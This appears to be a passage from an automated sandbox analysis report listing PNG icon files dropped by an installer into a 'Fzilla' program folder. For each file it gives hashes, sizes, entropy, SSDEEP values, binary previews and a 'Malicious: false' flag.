SHA-512:	CC46DE841B8D23E07A4FF028A2C30FB95BB69288CCBA7755E7C72C3244ED26B8A1DCE502A8102F8714CFB5A1B20E7BCEF5A92CD34F56317963DFEF2FA9AD4670
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....%Y.....U.....^.m[..m..m...6..U....9{..........G.i.y..{.W?...z8...............\|...?.ov3.n.i5[[.'..Hkd...>xP..@R...+..x...v;....+....1..h..B..e.{.F.Y.}......>...&...../....<`dd...f.Y.5......,Ky.....<.wW..3Y..O~..o4.u.^1r....aj...............d.d..c4l.",....-...._../.-3...j._.b.q[....,.~..!...H..H...c+.4.........\[.,.$....aA ...H.......o4.^....eZ.N.p...R...^...H....i YZB.+.....>.........v;,.........`9I.g........-.:sY.....UY.K.q.eL...l.-t..s_O.....g....n.&...~..t.I..$%............+1%!..W..M...^.n.c....F..L{~.u...^.--y.l.z.{..v[.vr\|B....XV"f...~.[X.@.......G....+....x.5vl{..h......].5.M)A.#p.6/.0...:jh...J."C.Y.`....y.3..".Z.....a..M.7..7.!.2.H..i?9..,..a....h.....t0.c..@.Bg....j..y.7m.x.'....1t....(...:..:.@F.b..Bf..9A@....I...O..TUeX.nO....R..-HU"`.U.+..'w2uhJ............W.......G.._t.......:.%.eU....N..U...Q.........G.?....)UQi.o..^.-o..].(jJ.}..>.[V.5).>...a.\|.........4..R.V..^..;..e.\|..H....e

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-JN2RK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1903
Entropy (8bit):	7.884545231227901
Encrypted:	false
SSDEEP:	48:OEHUN5yBayHKnZTHYnApm7kCZBegSDwUTa+k6IOv:OEHUN5CpgTHyu6kCvegSDh2HU
MD5:	BD2C6CCE2735160A224CD5AECFB30456
SHA1:	132512B864390CE2DD808969EF4738D1B77CF312
SHA-256:	3897DCE652A4B4ADEA00304567A5C4D6BF5C37F7B1651A71C2CE7D246C6D512B
SHA-512:	A815F252F814817622AE64D8129491CDFCEF8CC93F439CB50293BEDAFC577D9528FA6EAF2421E77E6016A5D74CFFAFE7CC93D11D56C9DECD7465B1A57A58BC6B
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....6IDATx.....,M....jM....m..k...o...l.[.]U..n.......'.....s.Y..U+3..'.............=...R..".E.B....,.......l....>.N....a.t].....~.-....>....~..a...^...3..M..%....nZ\)....~a)........Jd.\|6..i..D.e.-.....3..3.........7$.M...5+.}.'=./.......7.T,,..9cr.i9..f3..~L...N..c..Q......z...3..W..s.;....f...&..c.....X..Yl~.'.Q.sb.X.xW.."...D..{p.g.}....+......i..>%.nS3P..X..;...o..k_$m4P.QEO h/...#1.b.k-.@..G'3.X.h..<...{.....[..RR..P5P....1...q......N...M=..N.O.V..CJ".....lZ..........._..=ds..O.{......QGr.....T+T...L>.!x;N.wRZ..+$N...h......)d.l.XZ.t._....p`l4.u..).....@Ua.p..s4..1...RZ...c.........^.HC.......x.&`U...W>...q#CQ...\B.R2...&g.....N..p......O.9<d.g..k6.........wS.)Xz4.EzT..)x..X..?.......UXm..\|.3. ....c.k...l...cg]t..D.VcX.h...l.a...k%.6.J.s..3.{..e..%...8.?Y.f.p.@.:.}.5..a.UjdJ5.m.TX..>....N._...".C..QH}.. .{..2]...E. `.....o0.,.\Es.`,..(h.+...fj....o1.^.Q"....f.*:.F<...:tZ.5}....L\.^Q@D..K.....D..n..#

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-KOFVV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2005
Entropy (8bit):	7.888174986967833
Encrypted:	false
SSDEEP:	48:O5sLfB9aG3CHGemXa9kU/A6qr2ie4ybvcLHT3c:O5c87VCU/ICcYcHjc
MD5:	9FD2443CD1987845102A5CA2DE3F9957
SHA1:	0F0125AF2842B8A1DE7C0DC9DC33EAB47CFA649C
SHA-256:	F100E09709DE8DE0B8B6F219AD3C9F5FA55DE13EA9494B12977234B77DC084B5
SHA-512:	120E6DA12BFB337F7E0FCAA1E1D6D9BB64EA9CD6A69C39E0461CBC7995AD958B5D563636DC112CF11D7EDBC966605369408B02F17324CDBCD25D8A64B6366DB9
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....dY.....2..v....m.m....=.*Q......)._..'n....../...........7....HQ.K...0\.y..#..i%.{&..k?..sV../9J.\|.7..)..(.v.....!.{e.S.i'.........Q^.....G.,Z0o?..U&.4v.....q....PX4..W8..cPe2...k............L@..D@.[c...R...p...t.8.R.tp...^{U.'.W...f.....,.v.I.v.......................5....'.h!i..".2.v8\|q..N....S..r.{.D.f...]..S.^h<..ims."...b..>....F..1..&...5&..9..._....~.;.qQ...h...(8.i7.Z......G.?2.(p..S\|.\|G..w5. ..V....Kw..M..-...r...3_.....y....@.z..f..Oz.O9b.e...../.q}.'..(.H...6.FB.q.....FA...u/._...H..N0i....Z.z.....KV.J.n!.s..r..!....b!W.M)..-.].D.V.4Sj....I,J-N....I.b.V4K..~{..x.py..R8.s.3.9f.n.b..~d..k..,.......0}.H8b.q-2...3Nw.?.m`..&B#s.S.../x/K........le..UQ;..i.?\|..._..oh...C..D......p.A..K.<.y...(...?...g..B...p...k.u.;.."...\|>..~..?.Qh..3w.......:.....h........0...>J.(..2.p>f....[LH.7DG_..\|./._...8x.......k.X....8.u.f..C...y.m..y.....@D.=~T.4w..9...^A:......\..6..#....H..3..=.~.-.".^

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-LFEHJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1357
Entropy (8bit):	7.745370324355059
Encrypted:	false
SSDEEP:	24:w+w8l66j0tM48Qp5PzakhE3pVKi3sUCuhD1jn5czZVTKRODeiyCIQ:w+w8l8DJpdzaoE3pVnOuhV5YZVT9XEQ
MD5:	7A4B9E47257D33B0BD8D44D686846584
SHA1:	3DC0EB8C748D6EA80D66A731D861C7B4E1ED40B9
SHA-256:	265E50D2789EC687C8E0E4C829214EDF5C974FBB1E7E20AC7553BD7B2C64CD06
SHA-512:	C76D3C29AFE9589749578B22CE2A5161A5C7AFFAD98653EF8E902FFBBD4A57D7EF779F80138C3A4752B8D554BDEEE618B562D172A6FB75B10A6B3F4158949BC2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....l.......3.z...j[Q..nX..X..m.m]..9.ku.....9S._.;...-_.I..}y.........]................6..n........(....?>?.....Vz[g.c....>n.{..kn./}..m....?~y.....&../..VY...M`..y..z4...5;{..P...\..z........:.q...:....6/.5.H....s.@...32...2KW.........ad...a.....' E'..u>.........].U&....@.H8`.k.3.Gp.%D...(...`.].......i/.H..P.(P....M/0.@.......n..j...0...sP.+....]2..B/...`._./.._~..P. .(4......;8.3...C....(+3.t........\..D..b[%.A...Z.....L.g.JI.y.T...p.R...Q.........)...}8.......U...L.>=...p...a}...g0L...]......f._..4...>..n.r.9...]..dv.+..0A...*LP..F...%g.m.f. &.0...%e...F.P..1W..7#+..9..S!. .1.R....1.bvo.....H.s.....b......=.,.X!.B..W.<..6.F..".^...d...D.wG...8.. .i.l.a..23...)........^.w...u._.5,.u.D."...nP....A...uJvR...og....m_...:u.... r.c?]........0......l.e.........u.....t.JP..d...4E.@....P.....G..Q.0\_.O..\|..!%..@.T.w(..d.@...;P..(.........;.`.H.Q....c.. .P..8m0t..-Hy~.R....z.........Q........@v0

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-N7V34.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1959
Entropy (8bit):	7.858973006738095
Encrypted:	false
SSDEEP:	48:OM7DJSblpupbr3JzF+onHB6WBxS7BnUqlx2ki0U9+NLw:OMRIupbrZzFdhTByn5lx2l05E
MD5:	9F2F24382E68DEA83ADEDBF84E2AA62B
SHA1:	2D1A372A71D0BF3F2F055FFE4A5E3C89F7F0CB8D
SHA-256:	122D141DA21261646A2921570EDBFBE07AA3E2ECE3528472AA03486E1084D96F
SHA-512:	3833E6385FDA50182D23A6459646D399DFA9646AD51285F343919303762F2E617A389CE2AA3FEAA80806FEB28B1284130D8D84CFE66F0DE301CDE3DDD16609C2
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....nIDATx.....%I.@.....TV.{..c.m...g.m.m.m..U/....xj.g~y.G.......>.....y2<e.Q...O}..=w..@........6w.....K.<...Z...kZ.<.......?..a.y/DMi<a.e.!.vZ.lM.+......7....U{....f...._.....w....g.\.qk...W.5.. .@..&.S.e@...5.(@,..W@.......,H..AuFx...v..~.o...[__.<..I..9.........F......x...J...QX'x...-.(.G.,#vl.qe.u.........u.f.._`g.xR@...:..O.6...g......j.R....V ...BYxl.....$.L3l..i.../.Q_.7nY..-j.....r.".f..(+....Q...L.R..j P @.`4U.f..4...6.T......5....O%.^.....T...u.w@U.6.2...0.V.F{BB\|..l..."P....j@G`m@V..]......@. ....=bliz..I.Aajl.h2.V.5E.u..h'lm....aj.."h.@#....I.CM..).J........./2(F1I?...Y.........8.1.Y. ...2mj.-;..x.H...Y........J.HrGZ8f.......,.I..bboHGGG....{..k./..RLz...x-.h."T.FO[.U......Y...U4+....J....`-.M(...z....._.6X.:)M..-q.o.$.....N. ..>..+.......K...J.....&.....q..,..<{s<.].J..BZ.k..O%...i`C..+ ......T...:L..][...........\|i.W......A.........:..%.}..K/...(Y..^.RK.....:......k..w..o.._.e.....gN;.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-NPAHS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	352
Entropy (8bit):	7.143288160864272
Encrypted:	false
SSDEEP:	6:6v/lhPN+ggF1XfNZdS90ET9v52cpb76SKRKFdFwg720bC+9Pk8m4rR/RdIkkp:6v/7tgF1X1Z89rT9v8tY9j3Pk8f1zo
MD5:	536F485B8EDE79CE0B026B48BDE42B14
SHA1:	C18B8311B72A633343D75CDBB43ACB52E3AF28C2
SHA-256:	ECA4902B97BC5F63E7D87B4D4D9DD05423107B11B6B8033161515DDBF8A5F9F9
SHA-512:	6B79F4590494D389D84717211911E48F5077BAEDD3E2C5F4BBA8C8D23768F0C57249809A8C139EECA7BA50736F2F72EF96566BB98D5CFEC7C822140A44901BAA
Malicious:	false
Preview:	.PNG........IHDR... ... ......s.....'IDATx...i.Q.../....M.v.h]..............\.srE.F.....yr.F....n...%...M.u.J.o......e$uR..viM.u.Q.kK..GhHj.k.^=..p.h.P&.c.;&.......6P4k..Q..E,...J.s..#.. 9o.p.....%\Bcu.=..dg`. .(.....Fr...,.-}......6. P..Ms.O[(x...!.M..3.].A&w.-.}......_#..+.r../.w."...J.......C...z1..gZ.O....{.M[.....m...@.}.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-O12O1.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1386
Entropy (8bit):	7.824063085785144
Encrypted:	false
SSDEEP:	24:v/ym/Td+laZd62CcCkTzgXktRsSeh0iKIZ5hONXVieZ38ZNZaaMZskRMR+3WoeX5:v9qcCa0XkrG0iBWNXLZi3aaMZskRXmLp
MD5:	A73257C3ED8C413656242CA0C8ED2E70
SHA1:	98B969F77F58B4170DA13FEFB1BA6ADDE826A4D2
SHA-256:	4FFE31C7EABBEC8540DB9BF0AFE39CCC27C198BC3EEEBD04FAF50B1611C80C5A
SHA-512:	AF2982031634326ABCE9C55206D45477EC4960ED1F60BC8DA9E25AB1C403ED358E705869C30540F97FF65C9E24468095A22724FA9E4D6A7E37803B639188F3D3
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....1IDATx.....#O........-.\\|.m.m.m.,}.q.o....$3....U..C....2~.Vu8.\.&/.i..2q.....un.q.;>.....p.[...'...a......y.\|.....[-o.......'...e..2.7mx..ou...s'.3.^....p.+^.6.N..c.......M.z.].....'.....s......\|....y..O=../....[^..;.....1iJ5PT..Y..Lw..W..W.....o.`..`.....z..6.9S5./..jJQ..@KA;........e.t.;..S...`...fg_.......G.W.G.....G...Z.u......l.......k.Y...W..{.....l......R...Pu.....PW....%.......{\|..\|....'B.C6......];....`.....gtL....).=.(.<..B..15?u.l.q.g......%......=.~........X".%6._....;jy[`.g..f4..).'..l.n{[.O.......}.3....w...u.Q..E[.v..9".%<...0.`..Z.........z$..w..+o.`...6^..\|...w..S'..>Mh........z=.$.B[....G?".!:I.J.....2/....ha.h.\|..31..c...S.........Uo..'......Y..y..I...[7...oD...M.."O.]..%U.0F_.Z.......+.$..u&..rz...z7.........?.^............}{... .@..T=..!.t..=5...<.........V.D.....Ox.K.?....i....VG.aR..?...]...~./C..n.........$P.....s...tn]z...!...;v....fI........]..........e.@0x..[..T.D..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-OPSTP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2531
Entropy (8bit):	7.889621341238746
Encrypted:	false
SSDEEP:	48:flFuP7h6ggkhoOlo00JyyMYEfzjp8FjyCkYDPE1l0:flETIpYXlo00RrELjpeLfDPgl0
MD5:	0F35F49959B329237A5B3815DE59A78D
SHA1:	C8925125F6FA54AC6E9B55481997C5033C7140E0
SHA-256:	41744AB44BD1B057196C7D7520DDFC13D8555CAC2309D8893BB0515AD6B4B4AB
SHA-512:	838FDE8720C0CCBE3ABE7042E96DFC9088671CB73AA57D95AC4B5B2D79C2738FF65741733BFF201E105E686759356441FB9F03C896E24FC68546CB786D9CED20
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..W..cK.=}.g..d.f=.m....m..z..;...#Nnr.......<.T.j....;_@.........D..J(.U#.0s.fY5D.+.. ..&.R.f`.wkz<.v`...4(.......J....Q.....X"..!....)......j0K&...".~.....^{...D.8..p.o.....]........Rp.....aG..VE..EVj.EQ.Z:..2.H.G...$.).a.....j55Cv(...%.......8.....Hc"1.0.m.EZ%..;....9.D.W........Y..m..TOt0.m.I...t..4."y.x..m...y...UWE.-...gL{.3.J.^*.Z.cea.....6..6Y...w^j.?....0....m.......@....l.......$.....N.9c..........]g.uk7.`...v.5....N{........:d....j..b5... .....F.'^..#..o.0M3.k...fN..../......v....@.`......f...mm?....x#:,.....N_e...>.dp...0@....g.p._..<y....w_..5^r.'.z....L...0W.G......b[.3lD.....u....VOf...kB. &M.......t..r.%....+.!.g...o..o...v.g;..L.......L...9`.....p......'M%>..M...u]T...zt.!j..Jb-.e.4.H4..j......v.....3`..S.@.>.~...>.x@E....b....VC.l...k@.S.0.Z...X..@3._.@.D"c..xv..._.+.... ..x...,k?..6..~....2.UP.jjA.Gj..E.N.0$.0..jY..&$.zS.v......3g............7d..5.u..c.R.%...>h..:..d&6.

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-P6NPJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.866604030606009
Encrypted:	false
SSDEEP:	48:xayRIbUfwrQZRTyXIFaXG5Sj4E1nx85i1tF6LA8:xjfwrQZ5uG5SJ1x+iF6LA8
MD5:	D610191F5D672B3A91D648F8478475D6
SHA1:	AE04D8FB1682E6F1B08C1C5EE7B678E256B349B0
SHA-256:	09B06F8D4B0E21097A774FBD79B5054112A9910A08E3269DD56C35C018462157
SHA-512:	48119B467896BDC0BDAB906AE9FBAFC98E40E66589E912CA03010A671355F39AC5808AAD45C3E0592DA352580832A2056261754E4287474C748BEC8E5E0A4A60
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$M.@_....3=...q.m.m.....m.....tU.2.Y..o......~i..../{c/.Q.,..~..s.V.yy.iw....yV. f.5........S\.+..j.....nw~...C...^..\| .`..JL....=...0....?.....?....p5.]..-.....Y...d...7..........S..'.F.............0......j..7>..w\|...7.2.aF.....:;......f......V4.........../`;,^.n.v..<...E...5,..H......q.._...?...O~.8...q....y...............C...D+b..<.pS....'........&..nZ..)..j]........M._..G?..{I...h.R4EH..]....:.t..h$..q...3;.5.F!%#?".6n..........R.."....6o~........9.hv@S)4`.b.S.......w$..nebb...W."Lf'....gJ.....mo. .&"...k.w>...\,`....ly.k....;.h0KC)..Z...q.%`=.>t..+.$S...,i-.x.h&'...'.#3"..U.7h...#B...S.b..6o~.K.......H..D.F....~.!....)..+.E.....h.G;.Mc.A.$j..C2.c.......!-..Kvn..w=..8y...$..9=&...n....#....D....)!-R.xD......'....Y.:.h8][...dNO.....l.../y.....d85....<.;Lp.s....z.u.\|u...F..U..}.6.n.a..w.../......}H.......m..5;v...z...'O..L."...93....[.....+...5.<.1*A+.x..xyr..w...^o.bP../.....OU...

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-Q2OI2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.733421292896281
Encrypted:	false
SSDEEP:	24:ygHhhOS7zdv+Cp+b7/21tHQPFIDWUf4vRh:1HhhOSAWWeKFIDLIH
MD5:	F91571107734C4EEEF806FDEEBF80819
SHA1:	37CF70B8F3B90E85085D1FE264F2FC6C24F793CC
SHA-256:	33C3952751A550600AFF33060CA7D772FFF8B2A16BE8D51622DBCFF33ACA07E3
SHA-512:	D2F4A594779AB73CAD08926AC5C1EC2793DB608841E4D1E14EB310401B57A3999CE7C61FF06CFD70A90334B31E8EE17773B7AA74A8A3E102C7D317507CB63787
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx..V..kG.,.23.w......Bg.x.03....L.?3.a..]#k..z.,........g...=............o.sC...\eWW.s...e...0.{+++................V........,G...4.......6.i.YX.f.Y2.d... ....).BN. ,.]....ik..$..~....}.1>..C...x........U.6S.}...G(t.##....G2.@<.......I.....M..T........\|..ecvv..x..hL.C.@..cZ8........9Z<..C..y.........;w^..............+I.....6....C!...(tvv...I.`..]...~...H.....l.v.QW_...6E.......~+..y....+..2..XXX...r.\|....U....q..q.#}m..T..W.^.......+++.......$.q"..._..q2..H2.R}GG.Z.....k.)...(. ...:.q..I.%._Z\R.8u...~?J.J.5.NA.8p.N.k[..D........'.&.../c....s'...[8....;v.........Z(..+....+rE.....,.X<.@.pWw...\...@ .....u..x.....e...D...r.e$jI........X..G.L...b.....O..._.o..g.}.._\|.y.y.x<....fe....t.-P.....j5v\........$h1....H...u.m...g..bp...kGuu5."..-.hin.P.4.O...C.n...._.....w.q..@ii)JJJxT...Ak[+.......".O.._.I..'.Gww7V@R@oo....H.........\|..........,>t..3..h[B...f...J1[.7...../...@..m..n..-cP.1.k8L...D"s.Y..am..

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-QP609.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	7.862743458087118
Encrypted:	false
SSDEEP:	48:6LHwR+feqCe5icCQamjl2mmZSQrtkDKfrd2Voh1co/E24:67e+feqJktmjl/hKgVoTn34
MD5:	2C94D64626527D4C6481325177392F4E
SHA1:	CC06CB4F5D83B149FBBBEBA43FB7AA95818ECF34
SHA-256:	C479FEE71F104A2EEC517A1ED8E63724F469E6DA68DCBDA7B10F682B0FFE4B8D
SHA-512:	6DB7D120F20EBC3EA46A27A75F64DA0715A7DCE8384C1984E70C69E2A66F27F6AC4AAD9E85D3C7FDB870A56C906E0721ABDD6444AD7BA8F394BEA3380098357F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx....p.A...W..v.Qm.v..m..{fl.}Fx...Xq...o..>..<...+.B..+++S.H..d2.,.+......................E.....T(..j..333199....0++...$...>>>._........................t...R..%I.H...JUT^^.EEEXQQ...D.....o........9s..}....5j........9./....{......q6.w.'........8..O.>i..?H~...s.vFFF..h...<..}..q..9a...d.....I.Cw..........P..!M...d..C.h.....Cb..3..>\|x.t..gW.\|.R..j...Vw.....1r.W.\|...k0......].v.........9...ho...]....#?.?}.t.[Ax..qX.v.444.......,YZ^WW.s..%.%-....,I...j.....m.m.m.m.n.7.....<.?./W..h.).a2..eJ..h..1..sUf..L&....Z.B..bQ.....pt^.....N..-..L.A.......0s=...:.._.=mY.z..}...X.m....I.9B..8.C..~.O...]].K.K%.o.`U...).-A..*...}.....~.../....D<..x.N..}.c82.Q)5.{.....x-k.=.l..;.#..NL>,.....@cc#..\.L&C6...36.&..'...'....O(.S_..0^......F.rd\|.".?:...._B3.L4..a.....L_T..D..g.2..:...f...h.+Y)....j.........d.R$d..89.........a...J..}....y.g.T..........T.IPJ28P@.%..hiR.......Co...F43kG..X(z.m..@.>:,..../}W..8nJ.>......0.}y'

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-QVBTI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1258
Entropy (8bit):	7.677520204533597
Encrypted:	false
SSDEEP:	24:hOwNQgQDs9dGoQO2vjilKPE0MQoWY6k6E8poXmzB6zm4Itzj6UAr:hOwN8s9BQrvelKPEZZWsD8pAdzmor
MD5:	FFF6EAACF946EEEA7AC1635BF8B1C23C
SHA1:	C2F9F92D83ED7E851AC212C1A14295392DACC4DA
SHA-256:	DB40390A8621DD447131654B3D5F20FC90AD1506DA70227ADCC62B9AC26FC103
SHA-512:	8D693B51699C2ECF873F3108DDFE35FF3B11732F1FF8E584AFD178BAE939110E954CDA91FCFE985A7BE0C2DA4843A15F91BDF5A58E32D154993A092EDAA69DB3
Malicious:	false
Preview:	.PNG........IHDR... ... .....D......:PLTE...DDDEEE===>>>???@@@BBBDDD<<<FFF===FFFAAA...............................................................................................................sss...................................................................xxx..............yyy......{{{..................fff...---...........PPPSSS...VVV..................WWW......YXY..................YYYZZZ......\[\........................]]].........ddd...ggg...jjjlllnnnooo...ppp...qqq............rrr"""''')))..................}}}......555656......999...:99@@@...BAB....CCC...EEE...LLL.........MMM.........Qsh....$tRNS.3FFFFFFFFFGGJ.............................;IDATx...c..Q....v......k.m.6.[3I~.dk....\...J...&>.2+(.....I.<A.<3....!..,.%...X.x..,.G@b..n.....v..l... (H...N..[.Ii.O.....('.....ox...Ap.RfS..]IHv..@p..s..7.{...<...xN...A..yW....Z,...!...P...9`...9.o.....D...4..w.}<......>.3(....ZW.....<._....N..'...n...nH8W..VI...=v..........Z&.3.g...}.....d.Y.{...........*hAJ....]

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-SMRRG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1351
Entropy (8bit):	7.8153398147351005
Encrypted:	false
SSDEEP:	24:4zBRgz7KwrW3x1O2stzUEkC1oR9oW49VbTYsNymx0qBSZHn4NZb58rc:uB47Kw6x5QfkCu9oWiks1ZSZOf3
MD5:	B546C451FEE088F1FF783AF7A7F44B69
SHA1:	D277087D1764C51FEAD4611BA62C66CEE9C4C7E4
SHA-256:	AEC279CB68383C2C1BD05C64B80EF45F569E3CD0D4A9E7E412EAA5EEF52BB0ED
SHA-512:	D02C9990AE68D0FC8597E943DCE17A08474EB29B7965213D8856E27762FD930B7C1FE477E562B89BEC3DCA343548B0401EAE3E7A84065AECECA4E7B243C70B26
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....IDATx.....$]....UW.{..g.k..`.h.n......m.;...n..w;y.2=.......sO..p.........l....f/..rNV...V..&zM....n\........b.k.\3+......4q..5.....:.M.Z...H{....4......t../..I....._o.y..S...~.~.V...m..k.......I...xv.=.V....Y...s.G.t...w..z-....x..Li..VvS....^..X.....X9.9Q3....6......N;.9G........+....._63J......WP5@......U=..fL...d.{.A. bs.D.....0...t. ..NL...F..0....B.0.L.....0.jd..-.....9..V`J.......H\Ii.. ..!.A/@...k.r1lIL.Z\Y.....B.(D/...T...B............8......e,....,.....]$.K.r....-..NN....A.k.s..A.q~.+.".............1.".0.3e<....g..j%...TJ.,r..........W..;.....r.py...HD....G...X..$.H....x...y..T\i.$6.7..qOP...6\|.G...u..>.>.=.U....]...U.G1Vv.......7..=..........[.{...y...j...F..x..+Y..A#.n..P..8x.3..Tc...........a...ot.{...B.........`...F....`.:#.=.c..c_.....4:B.."I.h...h7..`(F..N.f.........C..`vz.:@s18^q....L.....*........[zI@.....H..M.1[....b/..tb0.T!.o.R........5U.5..S.e.D....^Q......l.(..g.pt....48.i....

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\is-T852I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.891958150325809
Encrypted:	false
SSDEEP:	48:Mf0PrjTTqg1G2F5AYfsJ4kuOxzVlBTm1WCGv0Z5eilg5DS6uAuiEg:airt0EYTTmsCGyBO2iEg
MD5:	21C3016F11243C71D1564CE32AC3CC51
SHA1:	C21209121A9C230E587D1D6590EC42D84D7C3CF8
SHA-256:	EF295ECE73C491782EB0F12997760EF4C8A01E563565AD32484CF10C035E0254
SHA-512:	E167F245A6EB8602EDCBF04BB555EF3F8EEA7F9556483ACFD13BB90456F99E198510E030F4FB3D743A00F7189743DD722E13D96FDAC26F686C200111AC6A8D1F
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz....0IDATx..V..$K....,....\|..m....m...o..[=...ef.#b....5n.8.Q.'.}.....o0.Z.=.'.O...........k/~...K.5..0p..w.._)X:.@.`-..l.fm.....w..&.)Q(8..hH.F........~.....E..-....Ww.\.....Z..VCc....2..^"./.....t.Td...J/.......p.bh.....o...\|....}.i.'.s...;.".Z.f.^...`1.....w1..)1.e..%....D....q...{S....{..%...F1.".5w..S.j.....0H.8..`m......D.1.F.X0x.D...N.3...e..X.-.#.p.rH...)r........5.@H...!.R.T"..A"....v.v.!.S....L;..l.@A.o.....S...4.{....%.......LIy..t.U..8v.1K.i.a1.i.......E...0<......zU.h%.\.U.h...4S3Q..H..@s..`...../..$I..A.t....#...{B.n .e.d#E.I.C/.([e....SB.e.........&j....O.ygq.@.Z..I....q...+...9...t.F...P.PB.(....wFoo.Ss".1=....V:......p...ge\"L......(H1VK..h....\.e.4,..>.PA.s.=.....)....]m.j.zT....hvL.)..g.hDD.%..D...b.L...04..+C...V.^m...%...N.H..A.S....I).d\..6....a...d.Y.C<....... ..\k..k........V.)......9m.....P+..4.(.~...>rh....}..y.ALK Q.u.C.M.6Ir..R.$@......={.<t....."....#.(.i..}...

C:\Program Files (x86)\Fzilla\resources\opencrystal\32x32\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	7.782537954577885
Encrypted:	false
SSDEEP:	24:+0B1TQN86MILZ9/Co9TRzY5HRiiTlDQ2GeZ/JRhtdh5LuIjVxHsk6N:+0fTx6MILZ9qo9TRz00itQt4RhtxL1Hm
MD5:	1571FBC96BE01FACD9350B9DD206ABA8
SHA1:	325F1F144113B0BE7EE690B0C888205920901217
SHA-256:	43EDD30F00A02084EA4E65A270A181119550692F9E861B2A077FE1AB4C76B50D
SHA-512:	F0C0FCDCE3BB79D8FB1F3B08DB1675CE065B142CFBEE88E30427EB4F379BB48B65A9B4227D99538993D398356CEA62440C480175119E7BA2074FA72DAA53ABD9
Malicious:	false
